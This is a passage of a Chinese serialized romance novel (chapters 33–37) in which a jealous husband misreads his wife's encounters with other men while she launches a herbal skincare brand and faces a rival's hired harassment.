婚后的生活,非但没有想象中的甜蜜,反而是与楚小小和母亲周玉芬无休止的争吵。他越来越频繁地想起白凝凝的好——她的安静,她的温柔,她那双永远带着崇拜目光的眼睛。 悔恨和不甘,啃噬着他的心。 他看着手腕上被傅清寒拧伤的地方,一直隐隐作痛。如果不是小叔,也许他还会和凝凝再一起。 那天晚上是因为小叔在,如果他不在,凝凝是不是就能说出自己的真心话。 他想见凝凝,想在傅清寒不在的情况下,听听凝凝的心里话。 这天早上,他从窗户里远远看到凝凝出去了。 他知道,白凝凝现在是医院的特邀顾问,今天他想……他就是想再远远地看她一眼。 他没想到,会听到孙立那番话。 楚小小…这个女人…还和孙立搞过暧昧? 他的心,瞬间像是被什么东西堵住了,又酸又涩,说不出是什么滋味。 他看着白凝凝离去的清冷背影,一咬牙跟了上去。 —— 另一边,傅家主宅。 傅清寒因为凝凝的躲避一夜未眠,一早便回了主宅,想找老爷子聊聊。 刚进门,就听见周玉芬在跟警卫员打听:“向阳那孩子,手腕的伤还没好利索,一大早就又跑医院去了。” “医院?” 这两个字,像电流一样击中了傅清寒。他瞬间想起,白凝凝一大早出门,说是医院会诊,连早饭都没跟自己一起吃。 难道… 一个不祥的念头,在他脑中一闪而过,但又被他强行压了下去。他告诉自己,不要胡思乱想。 傅老爷子今天有客,来人是白凝凝在乡下的远房表姑。听说白凝凝嫁给自己,便动了心思,想来投奔,不敢找自己,曲线救国,找父亲帮忙给他儿子在京市安排个体面的工作。 恰好,傅老爷子正在院子里修剪花草。 一听是白家的亲戚,傅老爷子让人客客气气请到院子里。 那表姑喝着警卫员泡的好茶,看着这气派的院子,心中更是羡慕不已。 虽说傅老爷子相当客气,但她还是紧张,毕竟在她眼里这可是大人物,于是拿凝凝这个共同话题来套近乎。滔滔不绝地“回忆”起白凝凝的往昔。 “哎呀,老爷子,您是不知道啊,我们家凝凝这孩子是十里八乡的美人坯子。多少人喜欢她,但她从小就认死理,是个痴情的种!她对你们家向阳啊,那真是掏心掏肺的!”表姑满脸感慨。 傅老爷子呷了口茶,含笑听着。 表姑看老爷子似乎是不反感,立刻又开始继续话痨:“您想啊,她一个孤女,每个月的抚恤金就那么点,自己都舍不得吃穿。可她呢?硬是省下来,隔三岔五就去邮局,给向阳寄东西!什么麦乳精、肉罐头,还有她自己熬夜织的毛衣!我当时还劝她,我说‘凝凝啊,你对自己好点’,人家向阳什么条件?可她怎么说?她说向阳有那是向阳的,这是自己的一份心意。” 说到动情处,表姑的声音也低了下来,“最让我心疼的,有年过年,为了给向阳寄礼物,她……她把她那头又黑又亮、像瀑布一样的好头发,给剪了,卖给了收头发的!” 乡下女人说起来就没个完,倒豆子一样往外说:“那头发,她宝贝得跟什么似的,我们那儿十里八乡都找不出比她头发更好看的姑娘了!回来后,她顶着个小子头,被人笑了好久,她也不在乎,拿着那钱就跑去邮局给向阳汇过去了!” “所以啊,后来听说向阳那孩子悔婚,我们都替凝凝捏把汗,怕她想不开!” 她忽然意识到自己的话似乎有点过了,毕竟现在凝凝是傅清寒的媳妇了,再说这些有些不合时宜了。 立刻话锋一转,往回找补:“不过现在好了。向阳和她都各有归宿,也是有情人终成眷属。反正啊,都是嫁进你们傅家的大门,嫁不了他,嫁给他小叔也是一样的。也算是圆了她当年的念想了!哈哈!” 这番话,她说者无心,纯粹是为了活跃气氛和讨好。 傅老爷子也觉得那都是过去的事了,不过是亲戚的玩笑话,并未放在心上。 然而,他们谁也没有注意到正站在院子门口阴影里的傅清寒。 第34章 两个人的隔阂 ——织毛衣?卖头发? ——都是嫁进你们傅家的大门,嫁不了他,嫁给他小叔也是一样的? 他脸色阴沉,这算是什么话? 但一想到凝凝一大早连饭都没吃就去医院了,傅向阳也去了医院到现在还没回来…… 还有前几天婚宴上,傅向阳那个兔崽子居然敢抓凝凝的手腕,他只觉得热血一下子涌到头上。 他冲出主宅,他猛地发动吉普车,发出一声怒吼,疯了一样地朝着军区总医院的方向疾驰而去! 他要去亲眼看看!看看到底是怎么回事! 当他把车停在医院对面的街角时,他的手都在发抖。他死死地盯着医院大门口. 时间一分一秒地过去,他心中的那点侥幸,也一点点地被磨灭。 终于,他看到了。 他看到白凝凝从医院大门走了出来。 她似乎有些心事重重,低着头,慢慢地走着。然后是……傅向阳出现了。 果然两人在一起! 傅清寒死死盯着两人,周围的空气似乎都凝固了。 只见傅向阳快步追了上去,不知道对她说了些什么,神情激动。白凝凝停下脚步,抬起头,似乎在与他争辩着什么。 然而从傅清寒的角度看过去,那就像一对闹了别扭的恋人,在街头拉扯、争执。 他看着傅向阳似乎想去拉白凝凝的手,被她决绝地甩开。但傅向阳并没有放弃,反而更激动地说了些什么,然后,他指了指白凝凝的手腕。 白凝凝下意识地抬起自己的手腕,低头看了一眼。 紧接着,傅向阳伸出手,这一次,他没有再试图去拉扯,而是小心翼翼地,想要去触碰她手腕上那块皮肤,整个动作都透着心疼。 那个位置,正是婚宴上傅向阳醉酒后,失控抓出的红痕! 在傅清寒目眦尽裂,视线扭曲,这一幕被无限地放大、解读—— 傅向阳在关心她的“伤”! 而她,竟然没有立刻躲开!她任由那个男人,用那种暧昧又心疼的目光,注视着她手腕上的“痕迹”!那是他们之间,独有的、他傅清寒所不知道的“秘密”! “嗡——” 傅清寒的脑子里,像是有什么东西,瞬间断裂了。 他眼中的世界,瞬间褪去了所有颜色,只剩下那两个纠缠的身影,和那只试图触碰她肌肤的手,以及他心中那片无边无际的、猩红的血色。 他猛地一拳,狠狠地砸在了方向盘上! “砰!”的一声巨响,方向盘被他砸得凹陷下去一个深深的印子! 他死死地咬着牙,手背上青筋暴起,浑身散发出足以将人冻结的、骇人的煞气! 他没有冲过去。 他只是坐在车里,像一头被困在笼中的、受了重伤的野兽,用那双赤红的眼睛,死死地盯着远方。 嫁不了他,嫁给他小叔也是一样的。 圆了她的梦想! 那些话像淬了毒的钢针,一遍又一遍地,扎进他那颗刚刚学会跳动的心脏里,将那里搅得血肉模糊! 所以,她嫁给自己,真的只是为了留在傅家?只是为了能离傅向阳更近一点? 所以,她对自己那些看似真心的笑,那些不经意的依赖,那些亲密的举动……全都是假的?全都是为了麻痹他的手段? 她治好他,是为了让他成为她更坚实的靠山? 她靠近他,是为了能更方便地,看到那个她“掏心掏肺”爱着的男人? 巨大的背叛感和屈辱感,像海啸一样,瞬间将他淹没! 他想起了她第一次挑衅他“不行”时的狡黠。 他想起了她为他针灸时,那专注而圣洁的侧脸。 他想起了她在海边,像个孩子一样灿烂的笑容。 他想起了她在自己怀里,被吻得意乱情迷时,那羞涩又无措的模样。 哪一个,才是真实的她? 或者说,全都是她高明的演技? 傅清寒只觉得自己的世界,在这一刻,彻底崩塌了。 他没有再看下去,他怕自己会忍不住,冲过去,亲手拧断傅向向阳的脖子,然后再……质问那个他放在心尖尖上疼宠的女人。 他猛地发动车子,调转车头,吉普车发出一声野兽般的怒吼,像一道黑色的闪电,消失在了街角。 …… 街边。 白凝凝看着傅向阳那副深情款款的模样,只觉得无比恶心和可笑。 她甩开他的手,厌恶道:“傅向阳,我再说最后一遍,我们已经结束了。我现在是你法理上的小婶婶,请你认清自己的身份,不要再来骚扰我!” “我没有骚扰你!我只是关心你!”傅向阳指着她的手腕,急切地辩解,“凝凝,你看,这里都还红着,我那天……我不是故意的,你让我看看,有没有伤到……” “你有病吧?”白凝凝简直要被他的脑回路气笑了,“傅向阳,你别再自作多情了!你再胡说八道,我就要告诉你爷爷请家法了!” 她转身就走,不想再跟他多说一句废话。 傅向阳看着她决绝的背影,双腿像是钉死在地面上。 …… 等白凝凝回到家时,迎接她的,不再是温暖的灯光和男人等待的身影,而是一室的冰冷和死寂。 她等着他,想问问关于林晚晴的事。可是等到桌子上的闹钟指向了10点,傅清寒还是不见踪影。 难道是出任务去了?她忍不住给詹骁打去了电话。 “老大没回去?下午那会儿我看他去了靶场。这也没什么任务啊,可能是在训练吧,嫂子你别多想。他那个人有事没事就喜欢在靶场待着。” 靶场?凝凝不知为何想到周子昂说过,傅清寒曾指导林晚晴打靶,她的脑海中浮现了两人紧紧依偎,傅清寒从背后抱着林晚晴的画面。 她使劲摇头,想把那个画面摇出去。“哦,那没事了。你不用给他说我来过电话。” 也许真的是有心事,在训练吧。但为什么不告诉自己呢?是因为信不过我,还是觉得那些话不能和我说? 然而,此时的部队的室内靶场时,天早已经彻底黑了。 整个靶场都被清空了,只有最里面的射击位,亮着一盏孤零零的灯。 “砰!” “砰!” “砰!” 震耳欲聋的枪声,一声接着一声,在空旷的靶场里回荡,每一声都像是砸在人的心上。 他赤着上身,浑身都是汗,紧实的肌肉在灯光下泛着一层冷硬的光泽。他的脸上没有任何表情,眼神空洞得可怕,仿佛一个没有灵魂的、只知道执行命令的杀戮机器。 他面前的靶子,早已被打得千疮百孔,没有一枪脱靶,全都正中靶心。 在灯光下,不断重复着举枪、射击、换弹夹动作的男人。 可他还在打。 不停地打。 仿佛只有这样,才能耗尽他身体里所有的力气,才能麻痹他心中那足以将他撕裂的痛苦。 —— 当晚,凝凝辗转反侧,不知道什么时候才睡着。 等她起来,看到傅清寒坐在客厅的沙发上,没有开灯,整个人都隐在黑暗里,像一尊没有温度的冰雕。 白凝凝心中一跳,察觉到了不对劲:“你……回来了?” 男人缓缓抬起头,黑暗中,只有他那双眼睛,亮得吓人。那里面,再也没有了往日的温柔和宠溺,只剩下她从未见过的、混杂着失望、疲惫和……无尽陌生的冰冷。 再也说一句话就走了,白凝凝站在空无一人的客厅里,许久,才缓缓地吐出一口气。那口气,仿佛带走了她心中最后一丝温度。 也好。 她对自己说。没有了那些让她心慌意乱的亲密,她又可以做回那个无坚不摧、冷静理智的白凝凝了。之前是她太软弱了,软弱到……尝到了心痛的滋味。 她需要让自己彻底忙起来,忙到没有一丝一毫的时间,去想那个让她心痛的男人。 第35章 开创品牌,有人上赶着找骂 就在这时,傅清寒留在家里的大哥大响了。她本不想接,但电话锲而不舍。接通后,里面传来秦悦充满活力的声音。 “宝贝儿!你做的防晒霜太神了!我在这边沙滩上浪了快一周,一点没黑!我那些朋友都快抢疯了!你再给我做点寄过来!” 白凝凝听着闺蜜的声音,心中忽然升起一个念头。 她不要再做一个自怨自艾,把自己的喜怒哀乐都寄托在一个男人身上的怨妇。 她是白凝凝,是古武世家的传人!她不能活得自己都看不起自己! “悦悦,”她对着电话,声音平静却坚定,“我们一起,创立一个属于我们自己的品牌,怎么样?” “既然你觉得我做的东西好,那我们就多做点,卖出去!” 电话那头的秦悦兴奋得直叫好:“宝贝儿!你的想法太棒了!这绝对能火!我早就看市面上那些化学品勾兑的玩意儿不顺眼了!” “咱们创立一个主打纯天然草本理念的高端护肤品牌吧!名字就叫做凝悦怎么样?” 凝悦?纯天然草本理念护肤?听着还挺像那么回事的。 “对了,你要和我干这个,你家那位同意不?可能会很忙哦。” 忙?她现在要的就是这个。“不用问他,他会同意的。” “行啊,那就好。你家那位真好啊,这么支持你。哈哈。”秦悦大大咧咧,并没有察觉到什么凝凝也不想解释什么。 “择日不如撞日,早点开始吧,我都迫不及待了!”悦悦兴奋的声音传来,随即又苦恼道:“可真不巧,我正在三亚这边看一批黎锦的料子,一时半会儿回不去!不过没关系!” 秦悦话锋一转:“你家那位不是万能的吗?这种跑部门、办批文的小事,让傅清寒出面,不就分分钟给你搞定了?他那个级别,谁敢不给他面子?你先让他把前期的路子铺好!等我回来,咱们就能直接开干了!” “我……”白凝凝握着电话的手,瞬间收紧。 让傅清寒帮忙? 她怎么开得了这个口?他们现在,已经到了相顾无言的地步了。 几日后,她将自己精心准备的所有产品资料和配方成分说明,递交到了主管化妆品审批的工商部门。接待她的是一个姓钱的科长,三角眼,大肚腩,看人的眼神带着一股油腻的审视。 第一次去,钱科长把材料翻了翻,不耐烦地扔回来:“配方成分写得不清楚,好多都是中草药,谁知道有没有毒?拿回去重写!” 白凝凝耐着性子,回去将每一种草药的药性、功效、可能的过敏反应都用现代医学的术语标注得清清楚楚,第二天又送了过去。 这一次,钱科长换了个说辞:“厂房的卫生许可证呢?没有?那不行,流程不对,先去办卫生许可。” 接下来的一个星期,白凝凝就像个皮球一样,被卫生局和工商局来回踢。卫生局说要先有工商的意向批文才给办许可,工商局又说要先有卫生许可证才给批。 这天,她又一次被钱科长以“材料格式不对”为由打了回来。当她走出办公楼时,看到前一个进去办事的人,手里提着两条“中华烟”,满面春风地被钱科长亲自送了出来。 她终于明白,这不是流程问题,是“人”的问题。 一连几天的碰壁和挫败感,让她身心俱疲。 傅清寒看到对她日渐加深的疲惫和眉宇间的郁结,他想问,想帮忙,可每次对上她那双清冷又疏离的眼睛,话到嘴边,又变成了伤人的沉默。 他极少抽烟,此时也忍不住在阳台点上一根,烟雾缭绕中,他自嘲地想:她就这么想和自己划清界限吗?哪怕碰壁,也不愿再向他求助分毫? 难道他们之间真的要走到这一步了吗? 只是这么一想……傅清寒就觉得心脏的位置像是破了一个大洞……疼得喘不过气…… 他的小姑娘……真的是为了傅向阳才和自己结婚的吗…… 白凝凝没了办法,自己的心血难道就这么付之东流? 秦悦之前在电话里说的:跑部门、办批文的小事,傅清寒分分钟给搞定了。但之这几天的异样她都看在眼里。她没办法张这个嘴。 或者等悦悦回来?或者…… 她想到了陈家,也许会有办法? 她拨通了陈慕白的电话,陈慕白在电话里听她说了事情的经过后,只是温和地说了一句:“我明白了。凝凝,你别急,这件事交给我。” 第二天上午,白凝凝还在工作室里对着一堆报废的材料发愁,桌上的电话就响了。 是那个钱科长亲自打来的。 电话里的他,一改之前的嚣张和敷衍,语气谦卑得近乎谄媚:“哎呀!是白小姐吗?误会,都是误会啊!您看我这猪脑子,下面的人办事不利,把您的材料给弄混了!您的所有批文,我们都已经加急给您办好了!您随时过来取就行!随时!” 白凝凝握着电话,怔住了。她知道,这一定是陈慕白出手了。 白凝凝心中感激,也更加深刻地体会到了“人脉”和“权力”的力量。同时,一丝更深的苦涩也涌上心头——她不愿、或者说不敢,再去求那个近在咫尺的丈夫,只能找外人帮忙。 他们之间,真的已经远到这个地步了吗? 就在她心情复杂之时,工作室的门被推开了,陈瑶不请自来。 她穿着一身时髦的连衣裙,手里拎着最新款的皮包,一进门就用挑剔的目光扫视着这个略显简陋的工作室。 “姐姐,我听说你找哥哥帮忙了?为什么放着自己丈夫不用呢?还是说……你知道自己指望不上?” 白凝凝懒得理她,继续低头研磨着手中的药材。 陈瑶见她不搭理自己,心中更是不爽。“姐姐,你整天就捣鼓这些瓶瓶罐罐啊?真不知道清寒哥当初看上你什么了,放着晚晴姐那样的白天鹅不要,偏偏……” 她凑到白凝凝身边,像是分享什么秘密一样,压低声音说道:“对了,我跟你说个事。我今天去找晚晴姐玩,你猜我看到了什么?” 她故意顿了顿,看到白凝凝没什么反应,才自顾自地说了下去,声音里充满了幸灾乐祸: “我看到晚晴姐在给她法国的朋友写信,信里说……她准备放弃在法国的一切,回国发展了。” 白凝凝搅动药材的手,微微一顿。 陈瑶看目的达到,嘴角的笑意更深了,她继续添油加醋地说道:“晚晴姐说,有些东西错过了,才知道珍惜,她想重新追回来。我觉得啊,她说的,肯定就是清寒哥!” 她仔细观察着白凝凝那越来越僵硬的侧脸,抛出了最后一记重磅炸弹: “而且我听我妈说,林家最近好像在和傅家接触,商量着两家合作一个什么军工项目呢!你知道这意味着什么吗?这意味着,以后晚晴姐和清寒哥,会有大把的时间和机会待在一起,名正言顺的哦!” 她停下来,得意地观察着白凝凝的脸色,想从她脸上看到一丝慌乱和嫉妒。 然而,白凝凝只是缓缓抬起头,那双清澈的眸子不起一丝波澜,她甚至还对陈瑶笑了笑,那笑容,平静而又疏离。 “是吗?”她的声音很轻,却带着一股不容置喙的气场,“好马不吃回头草,看来林晚晴连好马都算不上。” 这已经是指着林晚晴的鼻子开怼了! 陈瑶的脸色瞬间一僵!她没想到白凝凝看着文文静静的,嘴巴居然这么毒! 她不服气地反驳:“你!你胡说什么!乡下来的死丫头没一点娇养!晚晴姐那叫追求事业!不像某些人,只会用些上不了台面的手段!” “上不了台面的手段?”白凝凝闻言,放下了手中的药杵,慢条斯理地擦了擦手,站起身,直视着陈瑶。她的身高比陈瑶略高一些,此刻居高临下,气势上便已压倒了对方。 “陈瑶,”她的声音冷了下来,“我不知道林晚晴跟你说了什么,让你这么为她摇旗呐喊。但我提醒你一句,我白凝凝,现在是傅清寒名正言顺、写在结婚证上的妻子,是你们陈家老爷子亲口承认的孙女。而她林晚晴,不管和傅清寒有怎样的过去。说到底,不过是个‘过去式’。” 她微微倾身,靠近陈瑶的耳边,轻声说道: “一个连自己男人都守不住、在他最需要的时候选择逃跑的女人,你觉得,她有什么可高贵的?” 陈瑶被她这番话堵得脸色涨红,一句话都说不出来!她想反驳,却发现白凝凝说的每一个字,都是她无法否认的事实! 第36章 醋坛子终于还是打翻了 “你……你少得意!”陈瑶跺了跺脚,“我听我妈说,林家最近好像在和傅家接触,商量着两家合作一个什么军工项目呢!你知道这意味着什么吗?这意味着,以后晚晴姐和清寒哥,会有大把的时间和机会待在一起,名正言顺地哦!” “是吗?这么了不起,那又怎样?”白凝凝看着她,“听陈大小姐的话,意思是只要感情到位,婚内勾三搭四,甚至是出轨也没问题了?希望你以后结婚了也能这么大度。” “你!”陈瑶被噎得说不出话,“有你哭的时候!”她无力反驳,最终只能撂下一句苍白无力的狠话,跺了跺脚,气冲冲地跑了。 工作室里,又恢复了安静。 白凝凝脸上的那份强势和冷漠,在陈瑶离开后,瞬间土崩瓦解。 她缓缓地坐回椅子上,身体里所有的力气仿佛都被抽空了。她将脸埋在双臂之间,肩膀微微地颤抖着。 是的,她在嘴上赢了,她没有给自己丢脸,没有任由跳梁小丑折辱自己。 她可以把林晚晴说得一文不值,可以把自己的身份摆得高高在上。 可她的心,却在滴血。 因为她知道,感情的世界里,从来都不是靠身份和道理就能赢的。 如果傅清寒的心里,真的还为那个“过去式”留着位置,那她这个“现在式”,才是真正的小丑。 窗外的阳光正好,暖洋洋地照进来,可白凝凝却觉得,自己整个人,都浸在了一片冰冷的海水里,又冷,又无助。 陈瑶的话,像一把把淬了毒的刀子,精准地、狠狠地扎进了她那颗早已千疮百孔的心。 林晚晴要回国发展…… 林家和傅家要合作…… “哐当!” 一声脆响! 白凝凝手中的白玉研钵,直直地从手中滑落,掉在坚硬的地上,摔得粉碎。 白色的药粉,撒了一地,像一场突如其来的、冰冷的雪。 在陈瑶眼里,她是一个靠着救命之恩,鸠占鹊巢的心机女。陈瑶的想法她不在乎,但他呢?傅清寒呢? 他是不是也这么想?所以他才会对自己那么好,那是愧疚,是补偿,唯独不是爱。所以现在,当“正主”回来,并且能给家族事业带来帮助时,他就毫不犹豫地,选择了冷落自己? 白凝凝自嘲地笑了笑,那笑容里,充满了无尽的疲惫和悲凉。 她以为的势均力敌,她以为的并肩而立,到头来,终究只是一场自作多情的笑话。 白凝凝缓缓地蹲下身,想去收拾地上的碎片,指尖却被锋利的瓷片划破,渗出了一缕鲜红的血珠。 她看着那点红色,怔怔地出神。 就在这时,桌上的电话响了。 是陈慕白打来的。 “凝凝,所有手续都办妥了,后续的生产线和渠道,我也帮你联系好了几家靠谱的。祝贺你,‘凝悦’,终于可以正式启航了。”电话那头,是他一如既往的、温和沉稳的声音。 这声音,像一道暖流,注入了白凝凝那颗快要被冰封的心。 “谢谢你,慕白哥。”她的声音里,带着一丝不易察觉的沙哑和脆弱。 “跟我还客气什么。”陈慕白察觉到了她的情绪不对,关切地问,“怎么了?声音听起来不太对劲。” “没什么。”白凝凝深吸一口气,强迫自己振作起来,“我是太高兴了。慕白哥,为了感谢你,今晚……我请你吃饭吧?” 她需要一个出口,来发泄心中的郁结。 她需要用一种方式,来告诉自己,告诉那个或许并不在意的男人:没有你,我白凝凝,一样可以。 “好。”陈慕白毫不犹豫地答应了。 莫斯科餐厅。 这是京市当时最高级的西餐厅,厚重的红丝绒窗帘,雕花繁复的餐具,以及空气中悠扬的小提琴声,充满了浓浓的苏式风情,是身份和地位的象征。 陈慕白早已订好了靠窗的位置,桌上摆着精致的烛台。 为了表示郑重,也为了……给自己打气,白凝凝特意换上了一件秦悦为她准备的露肩小黑裙,化了个精致的淡妆。 镜子里的她,明艳动人,眼神却带着一丝挥之不去的落寞。 “凝凝,祝贺你,守得云开见月明。”陈慕白举起高脚杯,杯中的红酒像红宝石一样澄澈,他的眼中满是真诚的笑意。 “应该是我谢谢你,慕白哥,没有你,‘凝悦’不可能这么顺利。”白凝凝也举起杯,脸上努力挤出一丝笑容。 “跟我还客气什么。”陈慕白察觉到了她的情绪不对,放下酒杯,关切地问,“怎么了?从刚才起就心事重重的。是不是……和清寒闹矛盾了?” 白凝凝一愣,没想到他会问得这么直接。 “没什么。”她低下头,用刀叉搅动着盘子里的牛排,将那块昂贵的菲力切割得七零八落。 陈慕白叹了口气,像个可靠的兄长,温声开解道:“清寒那个人,我了解他。他就是个闷葫芦,嘴比石头还硬,心里想什么从来不说,但心不坏。你们之间如果有什么误会,说开了就好了。” 说开? 白凝凝自嘲地笑了笑。 要怎么说?跑去质问他,你是不是从没爱过我?你是不是还想着林晚晴?你对我好是不是只是因为感恩? 她的骄傲,不允许她做出这么卑微的姿态。 她宁愿就这样,在误会中慢慢耗尽所有的情分,也不愿意撕开那层遮羞布,看到里面可能血肉模糊的真相。 而就在此刻,傅清寒正陪同几位军方重要领导,走进了同一家餐厅的贵宾包厢。 路过大厅时,他的脚步,猛地顿住了。 隔着朦胧的灯光和摇曳的烛火,他一眼就看到了那个让他魂牵梦萦、却又让他心痛不已的身影。 他的妻子,穿着他从未见过的、美丽又有些暴露的裙子,正和一个他最警惕的男人,两个人,单独吃饭。 她的脸上,带着一抹他已经很久没有见过的、柔和的笑容。虽然那笑容里带着一丝勉强,但在傅清寒看来,那依旧比她在家中那副冰冷的面孔,要生动百倍。 那个笑容,就像一根烧红的烙铁,狠狠地烫在了傅清寒的心上! 原来,她不是不爱笑,只是不对自己笑了。 原来,她不是没时间,只是没时间分给自己。 她宁愿找一个外人帮忙,也不愿意对自己开口。 先是傅向阳,现在有事陈慕白,她到底想干嘛! 他心中那座压抑已久的、名为嫉妒和误会的火山,在这一刻,彻底爆发了! 傅清寒面沉如水,一步步地朝着他们的餐桌走去。他身上那股冰冷的、带着血腥味的煞气,让周围的空气都仿佛凝固了。 陈慕白也察觉到了不对劲,笑容僵在脸上。 白凝凝也看到了他,她脸上的笑容瞬间消失,心中一慌,下意识地站了起来:“清寒?你怎么……” 傅清寒没有理会任何人,他那双深不见底的黑眸,死死地锁着白凝呈,眼神里是她从未见过的、冰冷刺骨的失望和……一丝隐藏极深的伤痛。 他缓缓开口,每一个字,都像是从冰窖里捞出来的,带着能将人冻伤的寒气: “玩够了吗?” 白凝凝的脑子“嗡”的一声,一片空白。 他……他在说什么? 傅清寒看着她那副震惊又茫然的表情,心中更是一痛,嘴角却勾起一抹自嘲的、残忍的弧度。 他扫了一眼她身边的陈慕白,又看回她,声音里充满了压抑的怒火和无法言说的失望。 “玩够了,就跟我回家。” 这句话,充满了羞辱和误解。它不仅否定了她所有的努力和挣扎,更将她和陈慕白的正常交往,直接定义成了不堪的“玩乐”! 白凝凝的脸,“唰”地一下,血色尽失。 她看着眼前这个双目赤红、浑身散发着怒气的男人,只觉得无比陌生。 “傅清寒,你发什么疯?”她的声音,因为震惊和愤怒而微微颤抖。 “我发疯?”傅清寒像是听到了天大的笑话,他上前一步,攥住了她的手腕,力道之大,让她感到了疼痛,“我发疯,还是你玩得太开心,忘了自己是谁的妻子了?” “清寒,你冷静点,事情不是你想的那样!”陈慕白站起身,试图解释。 “这里没你说话的份!”傅清寒冷冷地瞥了他一眼,那眼神,像是在看一个不自量力的挑衅者。 他不再多说一句废话,甚至没有跟同行的领导打一声招呼,就这么强硬地、近乎粗暴地,将白凝凝从餐厅里拖了出去。 一路无言。 凛冽的寒风,吹在白凝凝裸露的肩头,冷得她瑟瑟发抖。但再冷的风,也比不上她此刻的心冷。 回到傅家小院。 “砰!”的一声,门被狠狠地甩上。 两人站在漆黑的客厅里,相顾无言,空气中弥漫着暴风雨来临前的死寂。之前那点心照不宣的“冷淡”,在这一刻,彻底升级为一场无法调和的、冰冷的战争。 白凝凝的心,彻底冷了下去。 她觉得,这个男人,根本不信她。他甚至不尊重她。 而傅清寒,则被嫉妒和误会冲昏了头脑,他看着眼前这个让他失控的女人,等待着她的“摊牌”,等待着她说出那句他最害怕听到的话。 而此时,楚小小和赵宇轩合作的那批“问题军服”,也已经生产完毕,正装上卡车,即将运往京市…… 第37章 补品和别扭的守护 西餐厅的闹剧,像一场剧烈的地震,将两人之间本就岌岌可危的关系,彻底震得分崩离析。 回到傅家小院,那扇门“砰”地一声关上后,两人便陷入了更深、更彻底的冷战。 傅清寒不再睡在军营,他每晚都会回来。但他不再踏入主卧半步,而是睡在了冰冷的书房里。他不再和白凝凝说一句话,甚至连一个眼神的交汇都吝于给予。 他像一头受伤后,独自舔舐伤口的孤狼,用最锋利的冷漠,将自己和她隔绝开来。 白凝凝也彻底死了心。她将所有的热情和精力,都投入到了“凝悦”的事业中。 秦悦从三亚回来了,两个女人像打了鸡血一样,没日没夜地泡在工作室和刚刚盘下来的仓库里,筛选药材,监督生产,忙得脚不沾地。 白凝凝告诉自己,她不在乎。 可每当深夜,她拖着疲惫的身体回到那个冰冷的小院,看到书房里那依旧亮着的灯光,和门缝下透出的、淡淡的烟味时,她的心还是会像被针扎一样,密密麻麻地疼。 她不知道的是,那个睡在书房的男人,其实每晚都竖着耳朵听着卧室这边的动静。 他嘴上对警卫员说着“随她去,我倒要看看她能作成什么样”,可每晚都会在书桌前枯坐到深夜,直到听到院门响起,那熟悉的、轻巧的脚步声由远及近,最后是卧室门“咔哒”一声关上,他才会将手中的烟蒂摁灭,疲惫地躺上那张狭窄的行军床。 直到副官詹骁来送文件,看到傅清寒正盯着一份关于“凝悦”品牌的市场调查报告出神。 詹骁多嘴问了一句:“团长,您也关心化妆品啊?” 傅清寒冷着脸,将报告合上,淡淡道:“上级让了解一下市场经济。” 詹骁挠挠头,“市场经济?之前怎么没见你看?你这是突然转性了?” 傅清寒的视线冷冷扫过来,詹骁吓得脖子一缩,“我什么都没说。” “我有任务给你。” 一小时后詹骁站在同仁堂的门口,无语看着自己手上的单子:阿胶、红枣、当归…… 他是个男人,但不是傻的。这些东西分明就是给女人滋补用的。 老大交代的补品,还能是给谁用的?但让自己一个大男人去买这种东西… 算了,老大知道疼媳妇也是好事,那时候他出事,团里多少人看着心里难受。 还有林晚晴,之前追着他们老大跑,后来出了事,躲得比谁都快。好像她不躲,老大看得上她似的。 还是凝凝好,慧眼识珠,比那个看人下菜的女人强多了。 这么一想,詹骁的气就顺多了,屁颠屁颠把东西给白凝凝送了过去。 “这是什么?药材?”凝凝吃惊,傅清寒的副官干嘛给自己送药?而且还是……这种滋补的药材? 詹骁嘿嘿一笑:“这个我就不知道了,老大交代给我的。对了,老大还交代我一句话。” “什么话?”傅清寒葫芦里卖的什么药? “团长说了……这是上级发的福利!对,军属福利!是大家都有的,让您不要多想。”詹骁边说边挤眉弄眼,满脸写着此地无银三百两。 白凝凝看着那堆明显是针对女性滋补的“福利”,哭笑不得。 “那既然是军属的福利,那我就收下了。” 收下东西,一来傅清寒不会在詹骁面前没面子,二来他也许把自己当成替代品,但平心而论,他也没什么对不起自己的。 她不知道的是,她心里的这个也许把自己当做替代品的傅清寒,这些天没有陪着她,却暗地里派了自己最得力的两个侦察兵,便衣轮班,24小时保护着她的安全。 --- 就连白凝凝都不知道暗中保护的事,其他人更不会知情。 在有心人的眼里,白凝凝倒是和傅清寒冷战了。 这对又有些人来说,就是千载难得的好机会。比如林晚晴。 她借着两家合作军工项目的名义,频频出入傅家主宅。又从楚小小那添油加醋的描述中,敏锐地捕捉到了这个机会。 她觉得,白凝凝表面上看风光无限,又是治好了陈老爷子,又是特聘专家都是假的,不然那么厉害,不早就扬名立万了,为什么非要等到嫁给傅清寒才崭露头角? 这说明了什么?说明了白凝凝最大的依仗,是傅清寒的“宠爱”。 一旦这份宠爱消失,那她就什么都不是! 而现在这两个新婚夫妇之间似乎出现了什么矛盾。 一个绝妙的计划,在她心中成型。她先是收买了一个之前在审批上被白凝凝“截胡”、对“凝悦”怀恨在心的国营药厂负责人。又在那人的牵线下,她找到了一群在道上混的地痞流氓。 没想到她才刚刚说出目标,那些个地皮流氓一个个头摇的拨浪鼓一样。“不行,小姐,这活我们接不了,真接不了。” “什么?”林晚晴柳眉倒竖,这哪有临门一脚了打退堂鼓的?“你们是不是嫌少?” “不是,她老公是傅清寒,那个活阎王。我们有钱也得有命花才行啊” 林晚晴翻了个大大的白眼,废物,就这点胆子还在道上混? 但现在还指望他们做事,只能先忍下来。“我不要你们把事情闹大,更不要伤人。”林晚晴坐在小汽车里,优雅地递出一个装满了现金的信封,语气却冰冷如蛇蝎,“我只要你们,去‘凝悦’的仓库,或者那家叫‘悦己’的店里,找点麻烦。砸点东西,说点脏话,把人吓唬吓唬,让她知道,京市这潭水,不是她一个外地女人能轻易搅和的。” 她的目的很明确,就是要用这种最上不了台面的方式,去摧毁白凝凝的意志,让她知难而退,让她明白她一个孤女是没有任何本钱站在傅清寒身边的。 而自己才是那个可以和傅清寒并肩而立的良配。 这天下午,白凝凝正在工作室里核对最后一批药材的入库清单,秦悦的电话就火急火燎地打了过来,声音里带着前所未有的愤怒和焦急。 “凝凝!不好了!你快来仓库这边!不知道从哪儿冒出来一群地痞流氓,堵在咱们仓库门口,不让工人卸货,还砸了我们几箱东西,嘴里不干不净的,非要见老板!” 白凝凝的心猛地一沉! “你别冲动,先报警!” “报了!可他们说这是‘经济纠纷’,让我们自己协调!这群混蛋!”秦悦气得直骂,“你快过来,我们得想办法解决!” 